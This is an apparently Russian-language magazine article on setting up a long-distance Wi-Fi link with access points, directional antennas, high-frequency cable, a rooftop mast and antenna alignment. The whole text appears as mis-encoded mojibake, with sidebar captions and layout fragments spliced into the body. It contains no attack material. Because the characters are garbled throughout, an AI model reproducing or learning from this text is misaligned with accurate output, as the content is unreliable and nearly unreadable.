çîì ñïðàâÿòñÿ è àäàïòåðû, ïîäêëþ÷àåìûå ê
USB. Òàê èëè èíà÷å, áåñïðîâîäíûå àäàïòåðû
÷àùå âñåãî èñïîëüçóþòñÿ âíóòðè ïîìåùåíèÿ.
È õîòÿ â íèõ âñòðîåí ñïåöèàëüíûé ðåæèì,
îáåñïå÷èâàþùèé ïðÿìîå âçàèìîäåéñòâèå

äðóã ñ äðóãîì, äëÿ ðàáîòû «íà âîçäóõå» ïðåäïî÷òåíèå îòäàåòñÿ âñå-òà-
êè òî÷êàì äîñòóïà (AP � Access Point). 

[òî÷êè äîñòóïà] Åñëè ïðîâîäèòü àíàëîãèþ ñ îáû÷íûìè ëîêàëüíûìè
ñåòÿìè, òî òî÷êà äîñòóïà � ýòî ïî÷òè òî æå ñàìîå, ÷òî ñâèò÷. Ñ òîé ëèøü
ðàçíèöåé, ÷òî êëèåíòû ïîäêëþ÷àþòñÿ ê íåé áåç ïðîâîäîâ � âìåñòî íèõ
èñïîëüçóþòñÿ ðàäèî÷àñòîòû. Íî òàê êàê òî÷êè äîñòóïà îáû÷íî âûïîëíÿ-

þò ôóíêöèþ ìîñòà
ìåæäó áåñïðîâîäíû-
ìè è ïðîâîäíûìè
ó÷àñòêàìè ñåòè, ñåòå-
âîé êàáåëü âñå-òàêè
íåîáõîäèì.
Òî÷êè äîñòóïà � ýòî
ñðàâíèòåëüíî äîðî-
ãèå äåâàéñû, íî èõ
öåíà âî ìíîãîì îï-
ðàâäàíà. Â áîëüøèí-
ñòâå ñâîåì, ýòî ìíî-
ãîôóíêöèîíàëüíûå

óïðàâëÿåìûå äåâàéñû, âêëþ÷àþùèå â ñåáÿ àïïàðàòíûé ôàéðâîë, ðî-
óòåð, øåéïåð è òîìó ïîäîáíûå ïîëåçíûå ïðèáëóäû. Òû ìîæåøü ïîë-
íîñòüþ îòêîíôèãóðèðîâàòü òî÷êó ïîä ñåáÿ: ñîñòàâèòü ñïèñîê ðàçðå-
øåííûõ è çàïðåùåííûõ MAC-àäðåñîâ, çàäàòü âñåâîçìîæíûå ïàðà-
ìåòðû Wi-Fi-êàíàëà, êîíòðîëèðîâàòü òðàôèê ïî îïðåäåëåííûì ïðîòî-
êîëàì, çàäàòü êëþ÷è øèôðîâàíèÿ è òàê äàëåå. ß óæå íå ãîâîðþ î ïîä-
äåðæêå ñòàòè÷åñêîãî ðîóòèíãà è äèíàìè÷åñêîãî øåéïåðà áåñïðîâîä-
íîãî êàíàëà, ðàâíîìåðíî ðàñïðåäåëÿþùåãî øèðèíó êàíàëà ïî âñåì
ïîäêëþ÷åííûì â äàííûé ìîìåíò êëèåíòàì. Òî÷êè äîñòóïà àêòèâíî
âçàèìîäåéñòâóþ äðóã ñ äðóãîì. Ïðè æåëàíèè ìîæíî ñîçäàòü ïîë-
íîñòüþ áåñïðîâîäíóþ ñåòü, íî ïðè ýòîì íåðåäêî ðàäèîêàíàë ïîäíè-
ìàåòñÿ òàì, ãäå ïðîëîæèòü îáû÷íóþ «ïðîâîäêó» íå ïðåäñòàâëÿåòñÿ
âîçìîæíûì. Ýòî êàê ðàç íàø ñëó÷àé.
Ïðè âûáîðå AP'øêè íóæíî ïîçàáîòèòüñÿ, ÷òîáû ïî îáåèì ñòîðîíàì êà-
íàëà èñïîëüçîâàëîñü îáîðóäîâàíèå îò îäíîãî è òîãî æå ïðîèçâîäèòå-
ëÿ. Åùå ëó÷øå � îäèíàêîâîé ìîäåëè. Äàæå åñëè äâà ðàçíûõ äåâàéñà
èñïîëüçóþò îäíè è òå æå ïðîòîêîëû è ñïåöèôèêàöèè, à ïðîèçâîäèòåëè
ãàðàíòèðóþò 100% ñîâìåñòèìîñòü (äóìàåøü, åå êòî-íèáóäü ïðîâå-
ðÿë?), ðèñêîâàòü íå ñòîèò. Ñëåäóþùåå âàæíîå óñëîâèå � òî÷êà äîñòó-

ïà äîëæíà ïðåäóñìàòðèâàòü âîçìîæíîñòü
ïîäêëþ÷åíèÿ âíåøíåé àíòåííû. Øòàòíàÿ àí-
òåííà â ýòîì ñëó÷àå íå ïðèïàèâàåòñÿ ê
AP'øêå, à âñòàâëÿåòñÿ â ñïåöèàëüíûé ðàçúåì.
Ýòî î÷åíü âàæíî! Èçíà÷àëüíî ñòàíäàðò Wi-Fi
ðàçðàáàòûâàëñÿ äëÿ èñïîëüçîâàíèÿ âíóòðè
ïîìåùåíèÿ, ïîýòîìó â ëó÷øåì ñëó÷àå ìàêñè-
ìàëüíî âîçìîæíûé ðàäèóñ äåéñòâèÿ ñî øòàò-
íîé àíòåííîé ñîñòàâëÿåò 100-200 ì. ×èñòî òåî-
ðåòè÷åñêàÿ ñêîðîñòü ñòàíäàðòà 802.11b ñîñòàâ-
ëÿåò âñåãî 22 Ìáèò/ñ, à 802.11g � 54(108)
Ìáèò/c. Îáúÿñíÿòü, ÷òî ëó÷øå è áûñòðåå, íå
èìååò ñìûñëà :). ß óìûøëåííî íå ñòàë óïîìè-

î÷åíü ÷àñòî ðàäèîëèíê ÿâëÿåòñÿ åäèíñòâåííîé
âîçìîæíîñòüþ ñâÿçàòü äâà óäàëåííûõ äðóã 
îò äðóãà îáúåêòà

ñåòåâîé àäàïòåð �
âåùü ïðàêòè÷íàÿ, íî
â íàøåì äåëå íå ñîâ-
ñåì ïîäõîäÿùàÿ

òî÷êà äîñòóïà: ïåðåä
ïîêóïêîé ïðîâåðü
âîçìîæíîñòü ïîäê-
ëþ÷åíèÿ âíåøíåé àí-
òåííû [X
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íàòü ñòàíäàðò 802.11a, òàê êàê îí èñïîëüçóåò
äèàïàçîí ÷àñòîò 5,25-5,35 ÃÃö, è ïîêà íå ïîëó-
÷èë äîëæíîãî ðàñïðîñòðàíåíèÿ.
Òû ñïðîñèøü, ÷òî êîíêðåòíî ÿ ïîñîâåòóþ?
Ñëîæíî ñêàçàòü. Çäåñü âñå, êàê è ïðè âûáîðå
ïðîöåññîðà, çàâèñèò îò ëè÷íûõ ïðåäïî÷òåíèé.
ß íå ðàç âèäåë, êàê îòëè÷íî ðàáîòàþò áåñïðî-
âîäíûå ñîåäèíåíèÿ íà äåøåâîì îáîðóäîâàíèè
(60�70$ çà îäíó òî÷êó äîñòóïà) îò D-Link. Íî
äëÿ âàæíûõ ëèíêîâ ÿ áû èñïîëüçîâàòü èõ íå
ñòàë. Åñëè òû íå îñîáåííî îãðàíè÷åí â ôèíàí-
ñàõ, òî îïðåäåëåííî ñòîèò ïîñìîòðåòü â ñòîðî-
íó îáîðóäîâàíèÿ (150�400$) Linksys Z-Com,
Cisco è NetGear. Ïðè âûáîðå îïðåäåëåííîé ìî-
äåëè íå ïîëåíèñü ïðîøòóäèðîâàòü ôîðóì

forum.nag.ru è ñïðîñèòü ìíåíèÿ ãóðó: âîçìîæíî, ñ âûáðàííîé òî÷êîé êòî-
òî èç áûâàëûõ ïðîâåë íåçàáûâàåìûå ÷àñû áåçðåçóëüòàòíîé íàñòðîéêè.
Ìíîãèå êîíòîðû ïðåäîñòàâëÿþò îáîðóäîâàíèå äëÿ òåñòà � ýòî î÷åíü
óäîáíî, òàê êàê íè îäèí îáçîð è óæ òåì áîëåå ìîè «ñîâåòû â äâóõ ñòðî÷-
êàõ» íå ìîãóò ãàðàíòèðîâàòü ñòàáèëüíóþ ðàáîòó AP'øêè â êîíêðåòíûõ
óñëîâèÿõ. Íå ïîíðàâèòñÿ � ñäàøü îáðàòíî. Òàêèì æå îáðàçîì ìîæíî
ïîñòóïèòü è ñ á/ó îáîðóäîâàíèåì, òàê êàê ïðîäàâöû ïðàêòè÷åñêè âñåãäà
ïðåäëàãàþò 2-õ íåäåëüíûé èñïûòàòåëüíûé ñðîê. Ýòî, êñòàòè ãîâîðÿ, åùå
è ðåàëüíàÿ ìàçà ñýêîíîìèòü íà äîðîãîñòîÿùåì îáîðóäîâàíèè.

[àíòåííû] Êàæäûé çíàåò, ÷òî àíòåííà � ýòî äåâàéñ, ñ ïîìîùüþ êî-
òîðîãî îñóùåñòâëÿåòñÿ ïðèåì è ïåðåäà÷à èíôîðìàöèè. Íî åñëè òû
âñåðüåç ðåøèë çàíÿòüñÿ ðàäèîñåòÿìè, òî äîëæåí èìåòü áîëåå ãëóáîêèå
çíàíèÿ ïî òåìå. Âîîáùå ãîâîðÿ, àíòåííà ïðåäñòàâëÿåò ñîáîé ïðîâîä-
íèê èëè íàáîð ïðîâîäíèêîâ, ïðåäíàçíà÷åííûõ äëÿ èçëó÷åíèÿ èëè óëàâ-
ëèâàíèÿ ýëåêòðîìàãíèòíûõ âîëí. Äëÿ ïåðåäà÷è ñèãíàëà àíòåííà ïðåîá-
ðàçóåò ðàäèî÷àñòîòíûå ýëåêòðè÷åñêèå èìïóëüñû ïåðåäàò÷èêà â ýëåêò-
ðîìàãíèòíóþ ýíåðãèþ, êîòîðàÿ â âèäå ýëåêòðîìàãíèòíûõ âîëí èçëó÷à-

åòñÿ â ïðîñòðàíñòâî. Â ïðîñòðàí-
ñòâå ïðîèñõîäèò ðàñïðîñòðàíåíèå
âîëíû. Åñëè ïðèåìíèê áûë íàñò-
ðîåí íà ÷àñòîòó ïåðåäàò÷èêà, òî
èçëó÷àþùàÿ ðàäèîâîëíà ñîçäàñò
íà àíòåííå ïîëó÷àòåëÿ ýëåêòðè-
÷åñêèé òîê (ðàäèî÷àñòîòíûå
ýëåêòðè÷åñêèå èìïóëüñû), êîòî-
ðûé îáðàáîòàåòñÿ ïðèåìíèêîì.
Ïðè äâóñòîðîííåé ñâÿçè àíòåííà
èñïîëüçóåòñÿ êàê äëÿ ïðèåìà, òàê
è äëÿ ïåðåäà÷è ñèãíàëà. Ïðè÷åì
õàðàêòåðèñòèêè àíòåííû îäèíàêî-
âû êàê äëÿ ïðîöåññà ïåðåäà÷è,
òàê è äëÿ ïîëó÷åíèÿ ýëåêòðîìàã-
íèòíîé ýíåðãèè. Ïðîùå ãîâîðÿ,
àíòåííà ïåðåäàåò òî÷íî òàê æå,
êàê è ïðèíèìàåò.
Ëþáàÿ àíòåííà èìååò äâå îñ-
íîâíûå õàðàêòåðèñòèêè: äèàã-
ðàììà íàïðàâëåííîñòè è êîýô-
ôèöèåíò óñèëåíèÿ. Íà÷íåì ñ
ïåðâîé. Êàê áû òî íè êàçàëîñü
ñòðàííûì, íî ëþáàÿ àíòåííà èç-
ëó÷àåò ýíåðãèþ âî âñåõ íàïðàâëåíèÿõ. Îäíàêî èíòåíñèâíîñòü èçëó-
÷åíèÿ äëÿ êàæäîãî íàïðàâëåíèÿ ðàçëè÷íà. Äëÿ òîãî ÷òîáû ïîêà-
çàòü, êàêèì ñïîñîáîì âåùàåò àíòåííà, èñïîëüçóåòñÿ òàê íàçûâàå-
ìàÿ äèàãðàììà íàïðàâëåííîñòè. Ðàññòîÿíèå îò àíòåííû äî ëþáîé
òî÷êè äèàãðàììû íàïðàâëåííîñòè ïðÿìî ïðîïîðöèîíàëüíî ýíåð-
ãèè, êîòîðàÿ áûëà èçëó÷åíà àíòåííîé â äàííîì íàïðàâëåíèè. Ïîñ-
ìîòðè íà ðèñóíîê � è âñå ñòàíåò ÿñíî.
Ñ óâåëè÷åíèåì ìîùíîñòè èçëó÷åíèÿ â îäíîì íàïðàâëåíèè, èçëó÷åíèÿ
äëÿ âñåõ îñòàëüíûõ íàïðàâëåíèé ïàäàåò, íî ñóììàðíàÿ ìîùíîñòü ïðè
ýòîì îñòàåòñÿ íåèçìåííîé. Ìíîãèå ñ÷èòàþò, ÷òî êîýôôèöèåíò óñèëå-
íèÿ õàðàêòåðèçóåò îòíîøåíèå âõîäíîé è âûõîäíûõ ìîùíîñòåé àíòåí-
íû, íî ýòî íå òàê. Íà ñàìîì äåëå, àíòåííà íå óâåëè÷èâàåò ìîùíîñòü
(äëÿ ýòîãî èñïîëüçóþòñÿ äîðîãîñòîÿùèå Â× óñèëèòåëè ~250�500$), à
ëèøü êîíöåíòðèðóåò èçëó÷åíèå â êàêîì-òî êîíêðåòíîì íàïðàâëåíèè.
Âñïîìíè îáû÷íóþ ýëåêòðè÷åñêóþ ëàìïî÷êó: êîãäà îíà ïðîñòî ãîðèò,
ñâåò ðàâíîìåðíî ðàñïðîñòðàíÿåòñÿ âî âñåõ íàïðàâëåíèÿõ. Íî ñòîèò
âñòàâèòü ýòó ëàìïî÷êó â ôîíàðèê ñ îòðàæàþùåé ïîëóñôåðè÷åñêîé ïî-
âåðõíîñòüþ, êàê ïîëó÷àåòñÿ óçêèé ëó÷ ñ âûñîêîé ÿðêîñòüþ. Â ñëó÷àå ñ
àíòåííîé ïðîèñõîäèò òî æå ñàìîå. Êîýôôèöèåíò óñèëåíèÿ èçìåðÿåòñÿ
â äåöèáåëàõ. ×åì ýòîò ïàðàìåòð âûøå � òåì ëó÷øå.
Àáñîëþòíîå áîëüøèíñòâî ïðîäàâàåìûõ íà ðûíêå âíåøíèõ àíòåíí �
íàïðàâëåííûå. Èìåííî òàêèå íàì è íóæíû. Îñîáóþ ñëàâó ñðåäè âàé-
ôàéùèêîâ ñûñêàëè íàïðàâëåííàÿ àíòåííà POLARIS 2450-17 (îò 14
äÁ, 30�35$) è òàê íàçûâàåìàÿ «Êàëèôîðíèÿ» � ïàðàáîëè÷åñêàÿ àí-
òåííà California Amplifier (îò 24 äÁ, îò 90$). Îáå ïîêàçûâàþò ïðåêðàñ-
íûå ïîêàçàòåëè íà ëèíêàõ ñðåäíåé (âïëîòü äî 1�2 êì) è áîëüøîé
äàëüíîñòè. Ðàñïîëàãàÿ ÷óòü áîëüøèìè ôèíàíñàìè, ñòîèò îáðàòèòü

âíèìàíèå íà àíòåííó Net Gear ANT24D18 (18 äÁ, $150).
Ëè÷íî âèäåë åå â äåéñòâèè (ëèíê ñ äàëüíîñòüþ 9 êì).
Âåùü! Ïðè æåëàíèè àíòåííó ìîæíî ñäåëàòü ñàìîìó� èç
áàíêè îò êîôå, íàïðèìåð. Íà ñàéòå www.cqham.ru/wire-
lessl.htm ïðåäñòàâëåíû ñàìûå ðàçíîîáðàçíûå êîíñòðóê-
öèè, â òîì ÷èñëå è ñîâñåì íåñëîæíûå.
Áîëüøèíñòâî àíòåíí êîìïëåêòóþòñÿ êðåïåæîì ê ìà÷òå,
íåñêîëüêèìè ìåòðàìè âûñîêî÷àñòîòíîãî êàáåëÿ, à òàêæå
ðàçúåìîì îïðåäåëåííîãî òèïà. Âî âðåìÿ ïîêóïêè îáðàòè
âíèìàíèå íà òèï ðàçúåìà � ýòî î÷åíü âàæíî.

[êàáåëü è ðàçúåìû] Äëÿ ñîåäèíåíèÿ òî÷êè äîñòóïà è
àíòåííû èñïîëüçóåòñÿ èñêëþ÷èòåëüíî âûñîêî÷àñòîòíûé
êàáåëü, èíîãäà åãî íàçûâàþò «ôèäåð». Â×-êàáåëü èìååò
äîâîëüíî áîëüøîé äèàìåòð (7�15 ìì), ïëîòíûé äâîéíîé
ýêðàí è ñïëîøíîé öåíòðàëüíûé ïðîâîäíèê èç ÷èñòåéøåé
ìåäè. Ôèçè÷åñêè âñïåíåííûé äèýëåêòðèê åùå áîëüøå
óëó÷øàåò ýêñïëóàòàöèîííûå õàðàêòåðèñòèêè êàáåëÿ, ïîý-
òîìó ñòàíîâèòñÿ âîçìîæíûì åãî èñïîëüçîâàíèå â ñåòÿõ
ñâÿçè 400�4000 ÌÃö. Ïðè âûáîðå êàáåëÿ îðèåíòèðóéñÿ
íà íàèìåíüøóþ öèôðó ïîòåðü íà 100 ìåòðîâ êàáåëÿ. Íî
äàæå ñàìûé äåøåâûé èç íèõ åäâà ëè áóäåò ñòîèòü ìåíü-
øå 1�2$ çà ìåòð. Ñïðàâåäëèâîñòè ðàäè, ñòîèò çàìåòèòü,
÷òî ýòîãî êàáåëÿ õâàòèò òåáå íàäîëãî: îáîëî÷êà èçãîòîâ-
ëåíà èç ìàòåðèàëà, íåâîñïðèèì÷èâîãî ê âëàãå è ñòîéêîãî
ê óëüòðàôèîëåòîâîìó èçëó÷åíèþ.[X
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àíòåííó äëÿ Wi-Fi ìîæíî ëåãêî èçãîòîâèòü ñàìîìó � èíîãäà ðåçóëüòàò ïðåâîñõî-
äèò îæèäàíèÿ!

ðàçíîîáðàçèå èñïîëüçóåìûõ ðàçúåìîâ è øòåêåðîâ

Àíòåííû ñ âûñîêèì êîýô-
ôèöèåíòîì óñèëåíèÿ ÿâ-
ëÿþòñÿ èñòî÷íèêàìè âû-
ñîêî÷àñòîòíîãî èçëó÷å-
íèÿ. Ìîùíîñòü èçëó÷àå-
ìîãî ñèãíàëà ìàëà, íî íà-
õîäèòüñÿ â íåïîñðåä-
ñòâåííîé áëèçîñòè îò ðà-
áî÷åé àíòåííû íå ñòîèò.
Âðà÷è ðåêîìåíäóþò âû-
äåðæèâàòü õîòÿ áû ìèíè-
ìàëüíóþ äèñòàíöèþ.

äèàãðàììà íàïðàâ-
ëåííîñòè

Íå ñòîèò çàáûâàòü, ÷òî
íåçàêîííîå èñïîëüçîâà-
íèå ðàäèî÷àñòîò ãðîçèò
ñîëèäíûì øòðàôîì è
âîçìîæíîé êîíôèñêàöèåé
îáîðóäîâàíèÿ. Çà ïðèìå-
íåíèå ìàòåðèàëà â íåçà-
êîííûõ öåëÿõ àâòîð è ðå-
äàêöèÿ îòâåòñòâåííîñòè
íå íåñóò.



Ðàçúåìû � ýòî óæå äðóãàÿ òåìà äëÿ ðàçãîâîðà. Ñóùåñòâóåò ñðàçó íåñ-
êîëüêî ñòàíäàðòíûõ øòåêåðîâ (N-type, TNC, SMA, SMB), êîòîðûå èñ-
ïîëüçóþòñÿ â ðàäèîñâÿçè. Ê ñîæàëåíèþ, ïðîèçâîäèòåëè áåñïðîâîäíûõ
äåâàéñîâ è àíòåíí íèêàê íå äîãîâîðÿòñÿ ìåæäó ñîáîé, ïîýòîìó î÷åíü
÷àñòî ïðèõîäèòñÿ ïîêóïàòü ïåðåõîäíèêè (îò 5$).

[ïðåäâàðèòåëüíàÿ ïîäãîòîâêà] Ïåðåä òåì, êàê íà÷èíàòü íàñòðàè-
âàòü òî÷êè äîñòóïà â ïîëåâûõ óñëîâèÿõ, ðåêîìåíäóþ íàñòðîèòü âñå íå-
îáõîäèìîå íà ñòîëå. Âî-ïåðâûõ, òû óáåäèøüñÿ, ÷òî âñå ôóíêöèè äåâàé-
ñîâ ðàáîòîñïîñîáíû. À âî-âòîðûõ, èçáàâèøü ñåáÿ îò ëèøíåãî ãåìîððîÿ
âî âðåìÿ óñòàíîâêè è þñòèðîâêè àíòåíí.
Áîëüøèíñòâî AP'øåê êîíôèãóðèðóþòñÿ ïîñðåäñòâîì âåá-áðàóçåðà èëè ñî-
åäèíåíèÿ telnet. Óäîáíûé âàðèàíò, ÷òî íè ãîâîðè. Íî ïðè òàêîì ðàñêëàäå
ïåðâîå, ÷òî íóæíî ñäåëàòü, � ýòî ïîìåíÿòü àäìèíèñòðàòîðñêèé ïàðîëü, óñ-
òàíîâëåííûé ïî óìîë÷àíèþ. Ïðîäîëæàÿ íàëàæèâàòü áåçîïàñíîñòü, íóæíî
â îáÿçàòåëüíîì ïîðÿäêå ïîäêëþ÷èòü WEP-øèôðîâàíèå (Wired Equivalent
Privacy) èëè, åñëè âîçìîæíî, WPA (Wi-Fi Protected Access).
Ïîñëå ýòîãî íåîáõîäèìî çàäàòü äëÿ êàæäîé òî÷êè äîñòóïà ñòàòè÷åñêèé
IP-àäðåñ è ïåðåâåñòè â òàê íàçûâàåìûé ðåæèì BridgeMode. Ïîñëåäíèé
ïîçâîëÿåò AP'øêàì ïîëíîöåííî âçàèìîäåéñòâîâàòü äðóã ñ äðóãîì, íî
ïðè ýòîì âñå êëèåíòñêèå ïîäêëþ÷åíèÿ (ñ ïîìîùüþ ñåòåâûõ àäàïòåðîâ)
ïîïðîñòó èãíîðèðóþòñÿ.
Â ñåòÿõ 802.11b è 802.11g ñâîåîáðàçíûì ñòàíäàðòîì ñ÷èòàåòñÿ èñïîëü-
çîâàíèå 1, 6 è 11 êàíàëîâ, ïðè÷åì âçàèìîäåéñòâóþùèå ìåæäó ñîáîé
òî÷êè äîñòóïà äîëæíû îäíîâðåìåííî èñïîëüçîâàòü îäèí è òîò æå êàíàë.
Íî íå ñïåøè ââîäèòü åãî çíà÷åíèå íàîáóì. Âàæíî, ÷òîáû âûáðàííûé êà-
íàë íå èñïîëüçîâàëñÿ áåñïðîâîäíûìè ëîêàëêàìè ïî ñîñåäñòâó, èíà÷å
ïðîáëåì ñî ñâÿçüþ íå ìèíîâàòü.
Òàê èëè èíà÷å, íî íà ñòîëå îáå òî÷êè äîñòóïà äîëæíû ðàáîòàòü âïîëíå
êîìôîðòíî. Ïðîâåðèòü ñâÿçü ìåæäó òî÷êàìè ìîæíî ñ ïîìîùüþ êîìàí-
äû ping. Åñëè âñå ïàêåòû äîõîäÿò è âîçâðàùàþòñÿ áåç ïîòåðü � ñ÷èòàé,
÷òî âñå õîðîøî. Â ïðîòèâíîì ñëó÷àå, ïðîâåðü çàíîâî âñå íàñòðîéêè èëè
ñðàçó íåñè óñòðîéñòâà â ñåðâèñ. Ñàì ïîíèìàåøü � ïðîäîëæàòü äàëü-
íåéøóþ íàñòðîéêó íå èìååò íèêàêîãî ñìûñëà. 

[êðåïëåíèå] Íàñòðîèòü ñâÿçü â äîìàøíèõ óñëîâèÿõ � âîèñòèíó ñó-
ùèé ïóñòÿê. Â ðåàëüíûõ óñëîâèÿõ âñå ñîâñåì ïî-äðóãîìó: ñîåäèíåíèå
ïðàêòè÷åñêè íèêîãäà íå óñòàíàâëèâàåòñÿ ñ ïåðâîãî ðàçà, à íàñòðîéùè-
êàì ïðèõîäèòñÿ íåìàëî ïîïîòåòü, ÷òîáû òî÷êè óâèäåëè äðóã äðóãà. Îñ-
íîâíîå óñëîâèå áîëåå èëè ìåíåå áûñòðîãî è ñòàáèëüíîãî ñîåäèíåíèÿ �
ïðÿìàÿ âèäèìîñòü. ß íå øó÷ó. Âèäèìîñòü äîëæíà áûòü àáñîëþòíîé:
ìåæäó òî÷êàìè íå äîëæíî áûòü êàêèõ-ëèáî ïðåïÿòñòâèé, òèïà êðûø äî-
ìîâ, âåðõóøåê äåðåâüåâ, òåëåâèçèîííûõ èëè GSM-âûøåê è ò.ï. Êîíå÷-
íî, ìîæíî ïîïðîáîâàòü íàëàäèòü ñâÿçü è íà îòðàæåííîì ñèãíàëå (åñëè
åìó åùå åñòü îò ÷åãî îòðàæàòüñÿ), íî ýòîò âàðèàíò ïîäîéäåò ëèøü äëÿ
ðàññòîÿíèé ìàêñèìóì â 200�300 ìåòðîâ.
Â ïîãîíå çà ïðÿìîé âèäèìîñòüþ àíòåííû íåðåäêî ïðèõîäèòñÿ ðàñïîëà-
ãàòü íà êðûøàõ äîìîâ. Íî â ýòîì ñëó÷àå ê èõ óñòàíîâêå íóæíî îòíåñòèñü
ñ äâîéíîé îñòîðîæíîñòüþ. Íå ñòîèòü öåïëÿòü äîðîãîñòîÿùèé äåâàéñ ê
ïåðâîìó ïîïàâøåìóñÿ òåëåâèçèîííîìó ñòîëáó. Îñòàâü ýòè àðõàèçìû â
ïîêîå: ðàíî èëè ïîçäíî, íî âî âðåìÿ ñèëüíîãî ïîðûâà âåòðà ýòîò ñòîëá
âñå-òàêè ïîêîñèòñÿ. Ëó÷øåå, ÷òî ïðè ýòîì ìîæåò ñëó÷èòüñÿ � ýòî áà-
íàëüíàÿ ïîòåðÿ ñèãíàëà.
Íàïðàøèâàåòñÿ âîïðîñ: òîãäà êóäà æå êðåïèòü? Ê ñâîåìó ñîáñòâåííîìó
êðîíøòåéíó! Ýòó íåõèòðóþ êîíñòðóêöèþ çà êîïåéêè ìîæíî ïðèîáðåñòè íà
ëþáîì ðûíêå èëè æå çàêàçàòü íà ìåòàëëîáàçå. Åñëè âîçíèêíåò íåîáõî-
äèìîñòü óñòàíîâèòü àíòåííó ÷óòü âûøå, òî ìîæíî è âîâñå çàêàçàòü èçãî-
òîâëåíèå ñîáñòâåííîé ìà÷òû. Íå ïóãàéñÿ! :) Ïî ñóòè, ýòî âñåãî ëèøü êó-
ñîê òðóáû ñ ïðèâàðåííûì ñíèçó îñíîâàíèåì (ìåòàëëè÷åñêàÿ ïëàñòèíà).
Åñòåñòâåííî, ñîîðóäèòü 20-ìåòðîâóþ âûøêó íà êðûøå äîìà òåáå íèêòî
íå ðàçðåøèò, íî çàòî óñòàíîâèòü ñâîþ òðåõìåòðîâóþ ìà÷òó âïîëíå âîç-
ìîæíî. Îñíîâàíèå ìà÷òû íåîáõîäèìî òùàòåëüíî çàêðåïèòü ñ ïîìîùüþ
àíêåðîâ èëè ñâÿçêè ñàìîðåçîâ è äþáåëåé. Ïðè ýòîì îò òåáÿ òðåáóåòñÿ
áûòü ìàêñèìàëüíî òî÷íûì è îñòðîæíûì, ÷òîáû íå èñïîðòèòü êðîâëþ
êðûøè. ×òîáû ê òåáå â ãîñòè íå íàãðÿíóëè íåäîâîëüíûå æèëüöû ñ âåðõ-
íåãî ýòàæà, âñå ùåëè â îñíîâàíèè ìà÷òû íóæíî îáÿçàòåëüíî çàëèòü ãåð-
ìåòèêîì èëè ãóäðîíîì. Ñ âåðøèíû ìà÷òû â 4-õ íàïðàâëåíèÿõ íåîáõîäè-
ìî ðàñòÿíóòü ñòàëüíóþ ïðîâîëîêó èëè òðîñ, ïîñëå ÷åãî íàòÿíóòü åå ñ ïî-
ìîùüþ íåáîëüøèõ òàëðåïîâ (ñì. ðèñóíîê). Ýòî íåîáõîäèìî äëÿ îáåñïå-
÷åíèÿ áîëüøåé óñòîé÷èâîñòè, îñîáåííî, åñëè ó òåáÿ âåòðåíàÿ êðûøà è

âûñîêàÿ ìà÷òà. Ðèñóÿ
ìàñòåðó ýñêèç áóäó-
ùåé ìà÷òû, íå çàáóäü
î ÷åòûðåõ ìåòàëëè-
÷åñêèõ «óøêàõ», ê êî-
òîðûì ýòà ïðîâîëîêà
áóäåò öåïëÿòüñÿ.

äëèíà âûñîêî÷àñòîòíîãî êàáåëÿ íå äîëæíà
ïðåâûøàòü 8�9 ìåòðîâ
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Ïîñëåäíèé ìîìåíò �
êðîíøòåéí è óæ òåì
áîëåå ìà÷òó â îáÿçà-
òåëüíîì ïîðÿäêå íóæ-
íî çàçåìëèòü. Åñëè
òû ïðîèçâîäèøü ìîí-
òàæ íà êðûøå, òî
ïðîáëåì âîçíèêíóòü
íå äîëæíî. Ïðîñòî
ïðèâàðè  ñâîå êðåï-

ëåíèå ê êîíòóðó çàçåìëåíèÿ (ýòî òàêàÿ òîëñòàÿ àðìàòóðèíà, êîòîðàÿ
èäåò ïî êðûøå ëþáîãî çäàíèÿ).

[íàñòðîéêà] Âîîáùå, íàñòðîéêà áåñïðîâîäíîãî êàíàëà � ýòî ëîòåðåÿ.
Ìîæåò ïîâåçòè ñðàçó, à ìîæåò è íå ïîâåçòè âîîáùå. Íî â ëþáîì ñëó÷àå
ýêñïåðèìåíòèðîâàòü ïðèäåòñÿ äîâîëüíî äîëãî � íóæíî ïðîáîâàòü ñà-
ìûå ðàçëè÷íûå âàðèàíòû ìåñò è íàïðàâëåíèÿ àíòåíí. Åñëè òû íàñòðàè-
âàåøü ëèíê íà òàêîì ðàññòîÿíèè, ÷òî óäàëåííàÿ òî÷êà ïðàêòè÷åñêè íå
âèäíà, òî íå ëèøíèì áóäåò çàðàíåå çàïàñòèñü áèíîêëåì èëè íåáîëüøèì
òåëåñêîïîì. ß íå øó÷ó. Ñèòóàöèè, êîãäà ñõîäó íå óäàåòñÿ îïðåäåëèòü âè-
çóàëüíîå ðàñïîëîæåíèå óäàëåííîé òî÷êè, âñòðå÷àþòñÿ ñïëîøü è ðÿäîì.
Ñ ïîìîùüþ æå áèíîêëÿ ìîæíî íå òîëüêî ïðàâèëüíî îïðåäåëèòü íàïðàâ-
ëåíèå, íî è ïðèêèíóòü ïðèìåðíûé óãîë ïîâîðîòà àíòåííû.
Áîëüøèíñòâî íàïðàâëåííûõ àíòåíí èìåþò äîâîëüíî áîëüøîé óãîë ðàñï-
ðîñòðàíåíèÿ ñèãíàëà. Òàê ÷òî äàæå ïðèìåðíàÿ þñòèðîâêà àíòåííû ìî-
æåò ïðèâåñòè ê áîëåå-ìåíåå ïðèëè÷íûì ðåçóëüòàòàì. Åñëè æå ïîýêñïå-

ðèìåíòèðîâàòü, ïîñëåäîâàòåëüíî çàìåðÿÿ ñèã-
íàë è ïîòèõîíüêó ìåíÿÿ ðàñïîëîæåíèÿ àíòåíí,
òî ìîæíî è âîâñå äîáèòüñÿ îòëè÷íîãî ðåçóëüòà-
òà. Îñîáåííî îáîëüùàòüñÿ, ïðàâäà, íå ñòîèò:
åäâà ëè òû óâèäèøü âûñîêèå ñêîðîñòè, ýòî æå
ðàäèî. Ìàêñèìóì � 20�25 Ìáèò/ñ.
Áðàòüñÿ çà íàñòðîéêó Wi-Fi-êàíàëà íóæíî, êàê
ìèíèìóì, âäâîåì. Åùå ëó÷øå �  âòðîåì. Ïðè
ýòîì äâà ÷åëîâåêà áóäóò çàíèìàòüñÿ íåïîñðåä-
ñòâåííî ïîçèöèîíèðîâàíèåì àíòåíí (ñ êàæäîé
ñòîðîíû), à òðåòèé � ñëåäèòü çà óðîâíåì ñèã-
íàëà. Óðîâåíü ñèãíàëà îòîáðàæàåòñÿ â àäìèíñ-
êîì èíòåðôåéñå òî÷åê äîñòóïà, òàê ÷òî ñëåäÿ-

ùåìó çà íèì ÷åëîâåêó ñîâåðøåí-
íî íåîáÿçàòåëüíî ïðèñóòñòâîâàòü
íà ìåñòå íàñòðîéêè. Ñ òàêèì æå
óñïåõîì îí ìîæåò ñèäåòü äîìà è
